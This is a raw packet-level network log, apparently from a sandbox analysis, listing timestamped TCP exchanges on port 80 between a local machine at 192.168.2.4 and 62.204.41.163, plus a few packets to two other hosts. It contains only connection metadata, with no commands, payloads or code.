Nov 20, 2024 07:48:20.755507946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.755521059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.755558014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.839875937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.839910984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.839947939 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.839963913 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.839996099 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840017080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840022087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840050936 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840081930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840084076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840114117 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840117931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840171099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840202093 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840205908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840257883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840287924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840308905 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840342999 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840374947 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840377092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840409994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840436935 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840444088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840493917 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840523005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840531111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840558052 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840559006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840589046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840593100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840609074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840626955 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840641975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840658903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840677977 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840691090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840719938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840723038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840780020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840785027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840831041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840859890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840866089 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840898991 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840924978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840933084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.840962887 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.840985060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841013908 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841036081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841074944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841105938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841110945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841144085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841171026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841178894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841207981 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841212034 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841268063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841296911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841320992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841355085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841387033 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841387987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841420889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841448069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841453075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841506004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841533899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841538906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841572046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841593981 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841608047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841641903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841669083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841672897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841706038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841733932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841737986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841774940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841800928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841805935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841840982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841869116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841873884 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841907978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841938019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.841942072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.841975927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842005014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842006922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842040062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842068911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842072010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842106104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842133045 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842138052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842156887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842171907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842181921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842189074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842196941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842205048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842211962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842220068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842235088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842245102 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842246056 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842252016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842263937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.842278004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842278004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842298985 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.842433929 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.961594105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.966717005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.183763981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.183779001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.183794022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.183866024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.183866978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.183867931 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.183973074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.183985949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184001923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184016943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184025049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184036970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184061050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184066057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184066057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184075117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184086084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184092999 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184106112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184118032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184118032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184119940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184145927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184145927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184173107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184186935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184197903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184201002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184216022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184225082 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184225082 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184231043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184240103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184247017 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184261084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184273005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184273005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184303045 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184303045 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184315920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184329987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184345961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184369087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184369087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184371948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184386969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184393883 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184402943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184417963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184438944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184511900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184525967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184537888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184541941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184550047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184556961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184573889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184578896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184596062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184621096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184636116 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184648037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184650898 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184659004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184668064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184674978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184684038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184709072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184709072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184773922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184788942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184798956 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184804916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184809923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184820890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184829950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184838057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184844017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184873104 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.184952974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184967995 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184983015 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.184998035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185005903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185019970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185023069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185039997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185048103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185055971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185070038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185081005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185081005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185086012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185100079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185106993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185116053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185125113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185125113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185132980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185158014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185158014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185221910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185312986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185338974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185353994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185363054 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185369968 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185394049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185395002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185410976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185420036 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185426950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185442924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185451031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185451031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185458899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185473919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185481071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185489893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185503960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185511112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185519934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185525894 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185555935 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185652018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185669899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185684919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185699940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185707092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185717106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185741901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185745001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185760021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185766935 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185787916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185802937 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185802937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185802937 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185820103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185826063 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185834885 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185852051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185853958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185867071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185875893 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185882092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185897112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185905933 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185911894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.185921907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.185985088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186117887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186132908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186150074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186175108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186189890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186198950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186207056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186213970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186223030 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186239958 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186247110 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186290026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186290026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186311960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186326027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186341047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186356068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186364889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186372042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186387062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186395884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186403036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186409950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186420918 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186444998 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186444998 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186461926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186477900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186482906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186494112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186511040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186516047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186526060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186537027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186537027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186542988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186551094 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186558008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186570883 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186574936 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186580896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186589956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186604023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186619997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186626911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186626911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186634064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186649084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186664104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.186671019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186671019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.186774015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.187099934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.187134027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.187244892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.187247038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.187280893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.187325001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.187340021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.187372923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.187401056 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.187407017 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.187438965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.187464952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.187473059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.187699080 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.197593927 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:21.208261013 CET	49723	80	192.168.2.4	93.184.221.240
Nov 20, 2024 07:48:21.213625908 CET	80	49723	93.184.221.240	192.168.2.4
